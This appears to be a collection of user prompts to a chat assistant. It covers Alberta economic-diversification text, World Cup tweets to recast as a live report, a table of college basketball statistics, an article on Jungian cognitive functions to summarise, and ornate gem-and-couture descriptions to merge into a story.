grows.\nSupports for businesses\nProvided up to $30,000 to help over 90,000 business owners offset lost revenues through the $1-billion Small and Medium Enterprise Relaunch Grant.\nThe Agriculture Jobs Connector is an online tool to help connect Albertan job seekers with employers in the agriculture and food sector.\nDiversifying our economy\nWe're diversifying our economy today to create more jobs for tomorrow by accelerating growth in new and emerging sectors like tech and innovation, finance, fintech, hydrogen, film and television production, and more.\nWith our strong economic fundamentals, favourable demographics, highly-educated workforce and the most liveable cities, Alberta continues to be one of the best places in North America to invest.\nWe are attracting job-creating private-sector investment from across Canada and around the world to make Alberta’s economy the most diversified in North America by:\nCreating an environment where businesses in the rapidly-growing technology sector can flourish by:\nimplementing the recommendations of the Innovation Capital Working Group\nworking to develop a technology and innovation strategy\nrecapitalizing the Alberta Enterprise Corporation with a $175-million investment to support our technology companies and provide access to capital for early-stage companies\nInnovation Employment Grant offers small and medium-sized businesses a grant of up to 20% toward qualifying research and development expenditures. to incent growth and attract new business to Alberta\nAlberta Innovates provides access to programs, funding, business supports and research facilities to accelerate entrepreneurship and technology-based innovation across the province.\nAlberta 2030: Building Skills for Jobs\nhttps://www.alberta.ca/alberta-2030-building-skills-for-jobs.aspx\ninitiative will develop a highly skilled and competitive workforce, strengthen innovation and commercialization of research, and forge stronger relationships between employers and post-secondary institutions.\n\nWork-integrated Learning Industry Voucher pilot program is a new initiative that provides paid work placement for hundreds of students in their field of study, ensuring they get meaningful, hands-on experience from industry experts and launch successful careers after graduation.\nInterested employers and students can reach out to participating industry associations until 2023. \nTechnology Alberta\nAlberta Construction Association\nBioAlberta\nMatched employer grant funding of up to $5,000 helps businesses hire and mentor local emerging talent.\n\nAlberta Technology and Innovation Strategy\nhttps://www.alberta.ca/alberta-technology-and-innovation-strategy.aspx\n\nOur vision\nAlberta is an internationally recognized technology and innovation hub that develops and attracts talent, business and investment to grow the technology sector and diversify Alberta’s economy.\n\nCreating jobs\nThe Alberta Technology and Innovation Strategy seeks to create 20,000 new jobs for Albertans by 2030.\nGenerating revenue\nAlberta’s technology companies could generate $5 billion more in annual revenue by 2030.\nGoal 1\nIncrease the depth of Alberta’s technology and innovation talent pool\nmaking quality employment and skill-building opportunities available\nGoal 2\nIncrease access to private capital and public investments in Alberta’s technology and innovation sector\nattract and leverage public investment to grow the technology sector.\nBy attracting investment to Alberta’s technology and innovation sector, we are creating the conditions to further attract and retain talent in the province while creating quality opportunities and diversifying our economy.\nGoal 3\nAdvance a system of supports that facilitate commercialization of Alberta research and innovations\nResearch advances in technology and innovation ensure Alberta’s priority sectors remain competitive. By commercializing research, we generate economic value from knowledge and ideas as businesses, entrepreneurs and spin-off companies from post-secondary institutions all help turn knowledge into products and services.\nGoal 4\nOptimize Alberta’s technology and innovation ecosystem\nWork effectively with Alberta’s innovation agencies to ensure that entrepreneurs and innovators are receiving targeted and timely support.\nMaintain an ecosystem with strong communication and collaboration mechanisms between innovation agencies and the business community that enable seamless service delivery.\nGoal 5\nEnhance Alberta’s reputation as a leader in technology and innovation\nAlberta is open for business and has a strong foundation for technology and innovation companies to thrive.\n\nThe advancement of the Alberta Technology and Innovation Strategy’s goals will be a key part of building our reputation as an attractive location for innovators and entrepreneurs to invest, do business, work and live." +'Describe as reporting live a current event in 3 lines, what is happening right now using the following tweets, with a focus on the term "beautifull" :\n\nsourceText Time\nWhat a goal , beautiful 2-0 #FIFAWorldCup argetina dominating , france are clueless 15:36:49.0000000\n?????? beautiful goal #ARGFRA 15:36:51.0000000\nThat was just a beautiful team goal for Argentina’s 2nd 15:35:56.0000000\nArgentina 2nd goal was beautiful ?? 15:36:50.0000000\nArgentina second goal is pure class omg . Beautiful futbol ????? 15:36:38.0000000\nWhat a beautiful counter attack and fantastic goal!! #ArgentinaVsFrance 15:36:33.0000000\nThat goal from Argentina was why they call it the Beautiful Game 15:36:53.0000000\nbeautiful second goal Argentina ???? 15:36:56.0000000\nWow that was beautiful …what a goal #ArgentinaVsFrance 15:36:37.0000000\nBeautiful team goal by Argentina 15:36:51.0000000\nWhat a beautiful goal #ArgentinaVsFrance #FIFAWorldCup 15:36:26.0000000\nThat\'s a beautiful goal ???\'\'#ARGFRA #FIFAWorldCup 15:36:52.0000000\nBeautiful team goal Argentina ???? 15:36:21.0000000\nAngel Fucking Di Maria????????????\'Oh my God\'This is absolutely beautiful \'#ArgentinaVsFrance #FIFAWorldCup \'Goal of the tournament in terms of team work 15:36:28.0000000\nGOOOOOOOAAAL!!! \'\'Di Maria doubles the lead for Argentina. What a beautiful team goal. \'\'Argentina ???? 2???0?? France ???? \'\'#FifaWorldCup 15:36:50.0000000\nThat\'s a beautiful goal against one of the best teams in the world. Bravo, Argentina! 15:36:56.0000000\nBeautiful goal #ArgentinaVsFrance #FIFAWorldCup argies been all over France. Thoroughly deserve the 2 nil lead 15:36:48.0000000\nBeautiful Football. Beautiful Goal. THATS WHY YOU LOVE THIS BEAUTIFUL GAME! What a counter. ARGENTINA HAVE ONE HAND ON THE TROPHY!\'#FIFAWorldCup 15:36:42.0000000\nDi Maria SCOOOOOOOOOORESSSS\'\'2-0\'\'Beautiful goal.\'\'#WorldCupFinal 15:36:36.0000000\nDi Maria hands Argentina another goal, what a beautiful square play. Text book execution and they punish France. 15:36:56.0000000\nWhat a fucking goal\'Absolutely beautiful ?? \'#ArgentinaVsFrance #FIFAWorldCup 15:36:59.0000000\nbeautiful counter attacking goal from Argentina. France need to find a way to get Mbappe involved. 15:36:52.0000000\nThat was gorgeous wow. That was an amazing goal. I don\'t even want Argentina to win but I can\'t deny that was beautiful 15:36:36.0000000\nThat goal was beautiful ???? #WorldCupFinal 15:36:59.0000000\nArgentina came out to play. That goal was beautiful. What a performance by them so far 15:36:42.0000000\nNow that was a beautiful and well deserved goal! France is done. #WorldCupFinal 15:36:51.0000000\nBeautiful goal from Argentina!!??????????? #FIFAWorldCup 15:36:27.0000000\nBeautiful goal Argentina ???? 15:36:39.0000000\nWhat a beautiful set up & goal by Argentina!!! 15:36:29.0000000\nWHAT A BEAUTIFUL GOAL!!! #ARGFRA #WorldCupFinal #ArgentinaVsFrance 15:36:33.0000000\nBeautiful goal.\'#ARGFRA 15:35:54.0000000\nBeautiful Beautiful goal. France have not got going... 15:36:12.0000000\nWhat a ball by MacAllister!! Beautiful goal #BHAFC #ArgentinaVsFrance 15:36:52.0000000\nWhat a beautiful goal by Argentina #ArgentinaVsFrance 15:36:01.0000000\nBeautiful goal by Argentina to be fair 15:36:50.0000000\nDi Maria, beautiful goal \'\'#Argentina #FIFAWorldCupFinal 15:36:41.0000000\nwow that passing and goal was beautiful \'\'Argentina is not playing today \'\'#FIFAWorldCup #Arg 15:36:55.0000000\nOooof. Worst part is -- it\'s a beautiful goal and well deserved. #ArgentinaVsFrance 15:36:27.0000000\nDi Maria with a beautiful goal and Argentins double their lead. France is not themselves today. #ARGFRA 15:36:22.0000000\nJust beautiful football. Beautiful goal #ArgentinaVsFrance #WorldCupFinal 15:36:32.0000000\nArgentina deserves this. Team work and a goal. That is just beautiful ????????. #Yearofthegoat 15:36:40.0000000\nBeautiful goal Argentina 15:36:04.0000000\nWhat a beautiful goal by Argentina Jesus Christ 15:36:09.0000000\nBeautiful goal #ArgentinaVsFrance 15:36:19.0000000\nBeautiful goal. ??? Fantastic. #ArgentinaVsFrance #FIFAWorldCup #FIFAWorldCupFinal 15:36:13.0000000\nBeautiful goal by Argentina 15:36:10.0000000\nBeautiful goal?????? #ArgentinaVsFrance 15:36:10.0000000\nBeautiful goal from Argentina. 15:36:15.0000000\nWhat a beautiful goal! #ArgentinaVsFrance 15:36:08.0000000\nFucking beautiful SECOND GOAL\'\'LEGGGOOO ARGENTINA ???????? 15:36:55.0000000\nWhat a beautiful goal!!!! #ArgentinaVsFrance 15:36:40.0000000\nBeautiful goal! Just beautiful…. #ARGFRA #WorldCupFinal 15:36:06.0000000\nARGENTINA WHAT A BEAUTIFUL GOAL!!! 15:36:24.0000000\nBeautiful Goal!!!! #ArgentinaVsFrance #FIFAWorldCup #Messi??day 15:36:39.0000000\nBeautiful goal #ArgentinaVsFrance 15:36:57.0000000\nWhat a beautiful goal damnnnn ?? Go on Argentina!!!! 15:36:00.0000000\n2-0! What a beautiful goal! ?? #FIFAWorldCup #ArgentinaVsFrance 15:36:33.0000000\nWhat a beautiful goal #ARGFRA 15:36:11.0000000\nThat was terrific! \'\'That was absolutely beautiful! \'\'This goal was fully deserved!!\'\'#FIFAWorldCupFinal #ArgentinaVsFrance #Messi?? 15:36:25.0000000\nBeautiful fucken second goal by Argentina hahahaha omg that was a team goal 15:36:57.0000000\nDamn that was a beautiful sequence for the 2-0 Argentina goal?? 15:36:29.0000000\nThat\'Was\'BEAUTIFUL FOOTBALL \'\'WWWWOOOOWWWWW\'\'Look at how they turned a France half chance to a PERFECT Argentine counter and goal!\'\'Whole French Midfield and Defense in straight shambles 15:36:59.0000000\nWhat a beautiful goal that was ???? #ArgentinaVsFrance 15:36:19.0000000\nAbsolutely beautiful goal by Argentina. Perfection. 15:36:40.0000000\nThat’s a beautiful, beautiful goal by Argentina 15:36:45.0000000\nBeautiful goal by Di Maria #ArgentinaVsFrance #FIFAWorldCup 15:36:18.0000000\nTHAT WAS A BEAUTIFUL GOAL FROM ARGENTINA 15:36:49.0000000\nwhat a beautiful goal #ARGFRA 15:36:18.0000000\nCalled it. This one goal was fucking beautiful! #ARGFRA 15:35:55.0000000\nThat goal was BEAUTIFUL #ARGFRA 15:36:19.0000000\nWhat a beautiful Argentina goal. 15:35:56.0000000\nBeautiful Argentina goal!! What a cross!!!! #FIFAWorldCup #ArgentinaVsFrance 15:36:42.0000000\nWhat a beautiful goal by Argentina. #FIFAWorldCup 15:36:55.0000000\nThat was such a beautiful goal, it was seamless and effortless. Messi has one hand on the #WorldCup trophy 2-0 #ArgentinaVsFrance #Qatar2022 15:36:53.0000000\nWhat a beautiful goal! So we’ll played by Argentina. 15:36:58.0000000\nThat was a beautiful goal!! ?? #WorldCupFinal 15:36:29.0000000\nBEAUTIFUL GOAL FROM ARGENTINA WTF 15:36:29.0000000\nYESSS WHAT A BEAUTIFUL GOAL BY ARGENTINA 15:36:29.0000000\nWhat a beautiful goal! One touch football!! Orgasmic play from Argentina ???? 15:36:50.0000000\nOh my word. Argentina deserve the trophy for that goal alone. Absolutely beautiful ?? #WorldCupFinal 15:36:30.0000000\nBeautiful goal in the run of play. Argentina is completely dominating France. 15:36:40.0000000\nThat is a beautiful goal. What a move by Argentina. #ArgentinaVsFrance #FIFAWorldCup 15:36:38.0000000\nThat’s a beautiful and perfect goal for Argentina 15:36:25.0000000\nWhat a beautiful goal, vamos Argentina!!! 15:36:55.0000000\nThat was a beautiful goal! 2-0 Argentina in the 36th minute. 15:36:50.0000000\nDI MARIA WHAT A BEAUTIFUL FUCKING GOAL ARGENTINA WHAT A BEAUTIFUL FUCKING PLAY 15:36:23.0000000\nWhat. A. Beautiful. Goal. #ArgentinaVsFrance #FIFAWorldCup 15:36:54.0000000\nBeautiful second goal for Argentina omg yesss 15:35:56.0000000\nThat was such a beautiful goal for Argentina 15:36:50.0000000\nArgentina ???? what a beautiful goal!!! 15:36:22.0000000\nChampagne football ?? Beautiful team goal ???? #ArgentinaVsFrance 15:36:29.0000000\nThat was a beautiful goal \'\'Thats a wrap France are no coming back from this 15:36:55.0000000\nBeautiful ball movement by Argentina on that goal\'\'#WorldCupFinal 15:36:59.0000000\nBeautiful second goal.\'Just beautiful #ArgentinaVsFrance #WorldCup 15:35:53.0000000\nBeautiful goal! #FIFAWorldCupFinal ???? 15:36:27.0000000\n2-0!!!!!!!!!! Argentina!!!!!!!! What a beautiful goal!!!!!!!!! ????\'#FIFAWorldCup #WorldCup 15:36:32.0000000\nWhat a beautiful goal. \'France are asleep 15:36:45.0000000\nBeautiful team goal worthy of the finals #WorldCup \'Argentina deserves to win this better team all game 15:36:57.0000000\nBeautiful goal!!! #WorldCup #ArgentinaVsFrance 15:36:27.0000000\nBeautiful goal. France have been shocking 15:35:58.0000000' +'next block. just confirm receipt, dont reprint:\n\nColorado State 33 15 18 0.455 40.3 72.5 26.5 54.2 0.488 7.6 20.9 0.364 11.9 16 0.745 5.3 23.7 29 16.5 5.7 2.5 10.8 16.3\nLouisiana Tech 33 15 18 0.455 40.8 72.2 25.9 58.5 0.442 8.5 24.7 0.345 11.9 16.5 0.722 9.8 22.7 32.5 12.4 7.9 2.6 13.2 17.3\nGardner-Webb 31 15 16 0.484 40.6 70.7 26.2 56.2 0.467 6.3 18.8 0.336 11.9 19.1 0.625 8.9 24.5 33.4 12.9 7.2 4.7 12.8 19.2\nCalifornia Baptist 33 17 16 0.515 40.2 69.4 24.6 57.5 0.427 8.4 25.4 0.33 11.9 17.9 0.664 9.6 25.1 34.7 14.3 4.4 3.1 11.2 17.2\nOle Miss 33 12 21 0.364 40 67.5 24.7 58.5 0.422 6.2 20.3 0.303 11.9 17.1 0.695 10.5 22.7 33.2 13.1 7.1 3.7 11.7 15.9\nIdaho State 32 11 21 0.344 40.9 69.2 24.8 55.8 0.445 7.7 22.7 0.338 11.9 16.2 0.735 7.3 22.1 29.4 12.3 5.8 2.8 11.2 17.6\nMarshall 32 24 8 0.75 40.4 81.8 30.8 66.3 0.465 8.3 24.4 0.338 11.9 17.1 0.693 11.4 25.3 36.8 17.5 9 5.3 11.5 16.4\nValparaiso 32 11 21 0.344 40.7 68.9 25.4 57.9 0.44 6.2 20.9 0.296 11.9 16.3 0.728 7.2 25.4 32.6 13.6 5.8 2.6 12.3 16.6\nSam Houston State 32 25 7 0.781 40.2 73.2 26.5 57.8 0.459 8.3 21.5 0.385 11.9 17.4 0.681 10.7 24.4 35.1 13.8 8.4 2.2 12.7 18.1\nPepperdine 31 9 22 0.29 40.5 78 29 62.2 0.466 8.2 22.5 0.362 11.9 16.7 0.71 8.5 25.7 34.2 15.1 5.4 3.8 13.9 17.7\nUSC Upstate 31 16 15 0.516 40.2 68.9 25.2 54.9 0.459 6.6 19.3 0.342 11.9 18.1 0.656 7.5 22.2 29.7 11.9 7.4 4.4 12.9 20.2\nDartmouth 28 10 18 0.357 40.5 71.4 25.7 58.1 0.442 8.1 24.5 0.333 11.9 17 0.699 7.7 25.5 33.2 12.9 5.5 4 14.3 17\nMarquette 34 28 6 0.824 40.6 79.9 29.6 60.8 0.487 8.9 25.4 0.348 11.9 16.4 0.721 8.1 21.9 29.9 17.6 9.4 3.1 10.7 16.3\nSouth Florida 32 14 18 0.438 40.2 72 26.4 59.2 0.446 7.4 21.9 0.336 11.8 18.2 0.652 10.7 24.3 35.1 13.4 6.5 3.1 13.4 17.8\nLindenwood 32 11 21 0.344 40.8 69.6 25.1 58.5 0.429 7.5 20.8 0.36 11.8 16.3 0.729 8.3 24.4 32.7 11.8 6.3 3.3 13 16.1\nFlorida A&M 29 7 22 0.241 40.1 58.6 20.5 53 0.387 5.8 18.4 0.313 11.8 17.1 0.692 9.1 21.7 30.8 9.7 6.6 3.6 15.4 19\nArmy West Point 33 17 16 0.515 40.3 73.1 26.8 56.2 0.477 7.6 21.8 0.351 11.8 17.3 0.684 7.8 25.2 33 13 5.1 2.1 12.5 16.1\nNorth Florida 31 14 17 0.452 40.6 76.2 27 59.3 0.456 10.4 28.4 0.367 11.8 16.4 0.719 8 24.2 32.2 13.1 5 3.9 11.9 14\nRutgers 33 19 14 0.576 40.1 67.9 25.2 58.9 0.428 5.7 17.8 0.318 11.8 16.8 0.702 10.5 24.7 35.1 15 8.8 3.9 11 16\nCal State Bakersfield 33 11 22 0.333 40.6 60.5 22.2 53.6 0.414 4.3 13.2 0.325 11.8 15.5 0.76 8.2 21.6 29.8 10.8 6.2 3 12.2 18.8\nHarvard 28 14 14 0.5 40.4 68.4 25 56.9 0.439 6.6 21.3 0.309 11.8 17.6 0.669 10.3 24.8 35 13.2 7.5 3.8 13.2 14.6\nOklahoma 32 15 17 0.469 40.2 67.7 24.4 53.3 0.458 7 19.9 0.351 11.8 16 0.735 6.4 24.5 31 13 5.7 3 12.9 16.2\nLa Salle 34 15 19 0.441 40.5 69.8 25.4 59.9 0.424 7.3 21.4 0.341 11.8 17 0.693 10.1 23.5 33.5 12 6.8 3.2 12.2 17.8\nSouth Dakota 31 12 19 0.387 39.9 69.3 24.4 56.5 0.431 8.9 22.8 0.389 11.7 15.4 0.765 7.7 24.1 31.7 12.2 4.5 1.5 11.5 17.4\nNew Hampshire 30 15 15 0.5 40.3 66.4 23.2 58.3 0.398 8.3 24.2 0.342 11.7 16.9 0.693 9.4 24.6 34 11.7 5.4 2.5 9.8 15.1' +'Please summarize this: A Glance into the History of the 8 Jungian Functions\nCarl Jung, the famous Swiss psychiatrist, proposed his model of the eight (8) functions in his work, Psychological Types (1921). He divided the functions into two groups, extraverted (tethered in the external world) and introverted (unfolded in the inner world).\n\nJung’s work would later be built upon by Isabel Briggs Myers and her mother Katharine Cook Briggs, who created a personality model we know today as the Myers-Briggs Type Indicator (MBTI®). The Myers-Briggs approach used scales for Extraversion-Introversion, Sensing-Intuition and Thinking-Feeling based on Jung’s work and then added a fourth dimension of their own, Judging-Perceiving. The result is 4 different scales on which a person will be assigned one of two possible values. Thus there are 16 combinations (2 x 2 x 2 x 2 = 16).\n\nEach of the 16 personality types have four cognitive functions in alternating directions (i.e. introverted then extraverted, or vice versa), which can be thought of as four “puzzle pieces” in a particular type. External factors such as upbringing and stress can alter the way each function manifests.\n\nThe four (4) personality scales as proposed by Briggs and Myers:\nExtraversion (E) – Introversion (I) → Gaining energy by interacting with other people or alone\nSensing (S) – Intuition (I) → Collecting information through the senses or imagination\nThinking (T) – Feeling (F) → Making decisions through logic or emotions\nJudging (J) – Perceiving (P) → Organizing time by using schedules or without them; result- or process-oriented\nAs mentioned, the first three above are based on Jung’s work with the fourth added by Myers-Briggs. According to Jung, the “cognitive functions” are the two scales of Sensing-Intuition and Thinking-Feeling. These are the ways in which humans process information and think about the world. Then each function can be expressed both in an extraverted manner or an introverted manner. As such, Jung didn’t really view people as “extraverts” and “introverts” but rather was more focused on the extraverted or introverted expression of each of the four cognitive functions.\n\nJungian four (4) cognitive functions stack:\nJung’s cognitive function “stack” describes the priority or order in which a person uses their cognitive functions, with Primary being the most natural and commonly used and the Inferior being the least-commonly used.\n\nPrimary → Most natural (and comfortable) function; the internal “mother tongue”\nAuxiliary → Supporting function, usually connected with creation and job choice\nTertiary → Function where individual often takes action steps to improve upon\nInferior → Activates under extreme stress, generally avoided out of self-protection\nDescriptions of the Eight (8) Cognitive Functions\nNow let’s discuss the eight different cognitive functions originally outlined by Jung. His theory proposed that for each of the 4 functions (Sensing, Intuition, Thinking and Feeling) each person would generally either extravert (display outwardly or externally) or introvert (consider inwardly or internally) that function.\n\nAs you read below, consider each function and its expression. Are you more Se or Si? Does Te or Ti come more naturally for you?\n\nExtraverted Sensing (Se)\nTaking action, using all five senses, going forward. Se takes in the present moment in its entirety, and makes rapid decisions on the fly. During times of crisis and emergencies, individuals with primary or auxiliary Se can make the best out of the situation.\n\nExample career areas that emphasize extraverted sensing (Se):\n\nArchaeology\nStunt driving\nFirefighting\nEmergency patrol\nMassage therapy\nIntroverted Sensing (Si)\nAssociations, metaphors, nostalgia. Si can travel back to any point in time through a single scent or sound. Important information (and sometimes interesting trivia) is stored in filing cabinets, where it can be retrieved at any later time.\n\nExample career areas that emphasize introverted sensing (Si):\n\nMuseum curation\nInterior design\nQuantitative sciences (e.g. statistics)\nLibrary sciences\nMedical coding\nExtraverted Intuition (Ne)\nBrainstorming, thinking outside the box, idea generation. Ne easily hops from idea to idea, while making abstract connections. Many artists—especially poets—use significant Ne in their work. To the outside, Ne seems quick, random, and extremely “jumpy.”\n\nExample career areas that emphasize extraverted intuition (Ne):\n\nFilmmaking, concept art\nCopywriting, art direction\nEntrepreneurship\nVideo producer (e.g. Youtube)\nWorkshop facilitating\nIntroverted Intuition (Ni)\nTime-space awareness, predicting the future, hunches. Ni is a far-reaching, visionary function—and can picture the future, sometimes with scary-accurate results.\n\nExample career areas that emphasize introverted intuition (Ni):\n\nDetective services, private investigation\nEconomic predictions and analysis\nForensic and engineering psychology\nPublic speaking, mentoring\nConsulting, all types\nExtraverted Feeling (Fe)\nExpressive emotions, social norms, etiquette. Fe respects the consensus of the group, and puts harmony above personal desires. The function often acts as a mediator between groups, as it naturally puts others’ needs above its own.\n\nExample career areas that emphasize extraverted feeling (Fe):\n\nActing, performance arts\nSinging\nDance therapy\nTelevision hosting\nPublic relations (PR)\nIntroverted Feeling (Fi)\nValues, notions of “right” and “wrong,” likes and dislikes. Fi is a deeply personal and intense function that digs to the core of the human condition. Convictions, morals, and strong beliefs all fall under the Fi umbrella.\n\nExample career areas that emphasize introverted feeling (Fi):\n\nPoetry, creative writing\nArt, various forms\nNarrative design\nMental health counseling\nPeace studies\nExtraverted Thinking (Te)\nFacts, pros and cons, methodological step-by-step strategies. Te respects rules and regulations—and takes great pride in a job well done. Checklists and clear-cut meeting agendas get Te’s gears going—a top-down approach floats its boat.\n\nExample career areas that emphasize extraverted thinking (Te):\n\nAccounting\nPublic and private law\nComputer programming\nNatural sciences, laboratory support\nComputational mathematics\nIntroverted Thinking (Ti)\nIterations, holistic reasoning, agile strategies. Ti takes a bottom-up approach to problem-solving, and fixates on information management. When new data comes in that contradicts old beliefs, Ti will shift like a fluid crystalline framework.\n\nExample career areas that emphasize introverted thinking (Ti):\n\nData analysis\nSystems design engineering\nPhilosophy, sociology\nCybersecurity\nLanguage translation\nWhat are YOUR Functions and Cognitive Stack?\nAccording to Jung’s theory, each person would essentially predominantly display each function (Sensing, Intuition, Thinking, Feeling) in either an extraverted or introverted manner. So of the 8 functions listed above, you’d have 4 of them. If you favor Extraverted Intuition (Ne) it doesn’t mean you can’t use Introverted Intuition (Ni) but rather just that it is less common for you and thus Ne is your primary mode of Intuition. Since Intuition and Sensing are together on scale, if you extravert your Intuition then you tend to introvert your Sensing. So you’d have Ne and Si.\n\nNext you must consider your Thinking-Feeling scale. If this same person tends to externalize (or extravert) their Thinking in the real world then we have a Te, and thus by definition the Feeling would be introverted (Fi). So we have Ne, Si, Te, Fi. But not necessarily in that order. That’s when functional stacking steps in. Each individual uses both Thinking and Feeling functions, which makes the cut-and-dried type system overly simplistic. \n\nThe next task is to determine which function is primary, auxiliary, tertiary and inferior. This is when the concept of functional “stacking” comes in handy. Whichever is most natural is likely the primary, and so on. This is the order of the “stack”, which of your functions comes first or primary, and which comes last or inferior. Let’s say the order in this case is was Ne, Fi, Te, Si. That translates to the ENFP personality type.\n\nCertainly the primary and auxiliary functions are those that come most natural to an individual, and are likely to characterize their outward personality. But while these tendencies may be seen quite obviously on the surface, they don’t fully address one’s personality. The tertiary and inferior functions are also crucial to understand.\n\nIf we only consider the four letters in ENFP (Extraverted, Intuitive, Feeling, Perceiving), for example, it would be next to impossible to see the hidden extraverted thinking (Te) and introverted sensing (Si) in their stacking. ENFPs are more than just their bubbly, charismatic and energetic stereotype. Their Te allows them to systematically work through their tasks and Si with their (often overlooked) excellent memory for details. This can make them excellent PR managers, communications specialists, and journalists.\n\nAnother example of hidden functions in play can be seen in the INTJ (Introverted, Intuitive, Thinking, Judging). INTJs are often dubbed by the entertainment and film industry as chess grandmasters who are strategic, sometimes cunning, and sometimes cold. However, they have introverted feeling (Fi) and extraverted sensing (Se) as their respective third and fourth function. INTJs have strong morals and hold their loved ones dear to their hearts. When under stress, they can become acutely aware of their surroundings and an asset to any team.\n\nHow Does this Relate to “Personality Typing”?\nThis is the underlying theory behind the Myers-Briggs model and behind most models that also use the 16 personality types nomenclature. There is no shortage of different “personality tests” online that you can take that will attempt to determine what your functions are (Fe vs Fi, Te vs Ti, etc.) and in what order they are “stacked”. This then determines which of the 16 types you fall into. While the tests are certainly convenient, any such self-assessment is naturally rigid and prone to testing limitations and thus is never able to get a fully-accurate picture of a human being.' +'combine all of the descriptor prompts into a story\n\n "ornate primordial ethereal celestial gems embellished fractal jewelry encrusted cosmic luxury\n\nornate primordial ethereal celestial gems, intricately crafted and adorned with delicate fractal patterns, encrusted with sparkling cosmic luxury, creating a truly breathtaking and otherworldly display of opulence and grandeur.\n\nAs you gaze upon the breathtaking display before you, you are struck by the sheer beauty and grandeur of the ornate primordial ethereal celestial gems that adorn the intricate fractal jewelry. Each gem seems to radiate with an otherworldly light, as if containing within it the secrets of the universe. The gems are encrusted with sparkling cosmic luxury, adding to their ethereal beauty and giving the impression of a treasure from another world. The overall effect is one of opulence and splendor, leaving you in awe of the incredible craftsmanship and artistry on display.\nAs you step into the grand hall, your eyes are immediately drawn to the mesmerizing display of ornate primordial ethereal celestial gems that adorn the walls and pillars. Each gem seems to contain within it the essence of the universe, radiating an otherworldly light that fills the room with a soft, ethereal glow. The gems are embellished with intricate fractal patterns, adding to their beauty and complexity. The jewelry that encases the gems is crafted with expert precision, encrusted with sparkling cosmic luxury that shimmers in the light. The overall effect is one of opulent splendor, creating a truly breathtaking and otherworldly experience. You can\'t help but feel a sense of awe and wonder as you take in the incredible beauty and luxury of the ornate primordial ethereal celestial gems.\n\n\nAs you step into the lavish fashion show, you are immediately struck by the stunning display of ornate primordial ethereal celestial gems that adorn the haute couture garments on the runway. Each gem seems to contain within it the secrets of the universe, glowing with an otherworldly light that is both captivating and alluring. The gems are intricately crafted and embellished with delicate fractal patterns, adding to their already impressive beauty and complexity. The jewelry that encases the gems is crafted with expert precision, encrusted with sparkling cosmic luxury that shimmers and sparkles in the bright runway lights. The overall effect is one of opulent splendor and otherworldly elegance, creating a truly breathtaking and unforgettable experience. You can\'t help but feel a sense of awe and wonder as you take in the incredible beauty and luxury of the ornate primordial ethereal celestial gems.\nOrnate: elaborate, decorative, fancy, extravagant\nPrimordial: ancient, original, primeval, primal\nEthereal: otherworldly, celestial, sublime, spiritual\nCelestial: heavenly, divine, celestial, supernatural\nGems: jewels, precious stones, diamonds, crystals\nEmbellished: decorated, adorned, enhanced, bedecked\nFractal: complex, intricate, detailed, ornate\nJewelry: adornments, ornaments, trinkets, baubles\nEncrusted: covered, studded, decorated, embellished\nCosmic: universal, astronomical, galactic, celestial\nLuxury: opulence, extravagance, grandeur, splendor\nHaute couture: high fashion, designer clothing, luxury fashion, bespoke fashion\nAs you enter the grand hall, your eyes are immediately drawn to the elaborate display of ancient, otherworldly celestial jewels that adorn the intricate, ornate jewelry on display. Each precious stone seems to contain within it the secrets of the universe, radiating with a sublime, spiritual light that fills the room with a soft, ethereal glow. The gems are delicately crafted and adorned with complex, detailed fractal patterns, adding to their already impressive beauty and complexity. The ornaments that encase the gems are crafted with expert precision, studded with sparkling universal luxury that shimmers and sparkles in the light. The overall effect is one of opulent splendor and celestial elegance, creating a truly breathtaking and unforgettable experience. You can\'t help but feel a sense of awe and wonder as you take in the incredible beauty and luxury of the ancient, otherworldly celestial jewels.\nIn the grand hall of luxury and splendor,\nWhere haute couture garments grace the floor,\nOur eyes are drawn to the ethereal glow\nOf ornate primordial celestial gems.\n\nWith each gem, a universe unfolds,\nMysteries and secrets to behold,\nEmbellished with intricate fractal art,\nA cosmic beauty that sets us apart.\n\nEncrusted in sparkling luxury,\nA treasure from another world, it seems,\nWe are awed by their grandeur and grace,\nOrnate primordial celestial gems in their place.\n\nSo let us marvel at their beauty divine,\nThese ornate primordial ethereal gems of mine,\nAdorning the finest haute couture garments,\nA true display of opulence and splendor.\n\nIn the world of haute couture and luxury,\nWhere beauty and elegance reign supreme,\nWe are awed by the ornate splendor\nOf primordial ethereal celestial gems.\n\nEach gem holds a universe within,\nA world of mystery and wonder to begin,\nEmbellished with delicate fractal patterns,\nA cosmic beauty that leaves us in awe.\n\nEncrusted in sparkling luxury,\nA treasure from another world, it seems,\nWe are captivated by their grandeur and grace,\nOrnate primordial celestial gems in their place.\n\nSo let us marvel at their beauty divine,\nThese haute couture ornate primordial gems of mine,\nAdorning the finest garments with opulence and splendor,\nA true display of luxury and elegance.\n\nAs you step into the grand hall, your eyes are immediately drawn to the mesmerizing display of ornate primordial ethereal celestial gems that adorn the walls and pillars. Each gem seems to contain within it the essence of the universe, radiating an otherworldly light that fills the room with a soft, ethereal glow. The gems are embellished with intricate fractal patterns, adding to their beauty and complexity. The jewelry that encases the gems is crafted with expert precision, encrusted with sparkling cosmic luxury that shimmers in the light. The overall effect is one of opulent splendor, creating a truly breathtaking and otherworldly experience. You can\'t help but feel a sense of awe and wonder as you take in the incredible beauty and luxury of the ornate primordial ethereal celestial gems. In the center of the room, a runway showcases the latest in haute couture fashion, with garments adorned with the same ornate primordial ethereal celestial gems, creating a dazzling display of luxury and elegance.\n\nThe dress is a masterpiece of haute couture, with a bodice adorned with ornate primordial ethereal celestial gems that seem to contain within them the secrets of the universe. The gems are intricately crafted and embellished with delicate fractal patterns, adding to their already impressive beauty and complexity. The dress flows into a full skirt, encrusted with sparkling cosmic luxury that shimmers and sparkles in the light. The overall effect is one of opulent splendor and otherworldly elegance, creating a truly breathtaking and unforgettable fashion statement. The dress is the perfect blend of ancient and modern, combining primordial beauty with cosmic luxury for a truly unique and striking design.\n\nThe dress is a true work of art, crafted with expert precision and attention to detail. The bodice is adorned with ornate primordial ethereal celestial gems that seem to radiate with an otherworldly light, as if containing within them the secrets of the universe. The gems are intricately crafted and embellished with delicate fractal patterns, adding to their already impressive beauty and complexity. The dress flows into a full skirt, encrusted with sparkling cosmic luxury that shimmers and sparkles in the light. The overall effect is one of opulent splendor and otherworldly elegance, creating a truly breathtaking and unforgettable fashion statement. The dress is the perfect blend of ancient and modern, combining primordial beauty with cosmic luxury for a truly unique and striking design. The haute couture craftsmanship is evident in every detail, from the ornate primordial ethereal celestial gems to the sparkling cosmic luxury, creating a garment that is truly one of a kind.\nSure, the goddess wearing the dress might be a stunningly beautiful and otherworldly being, with long 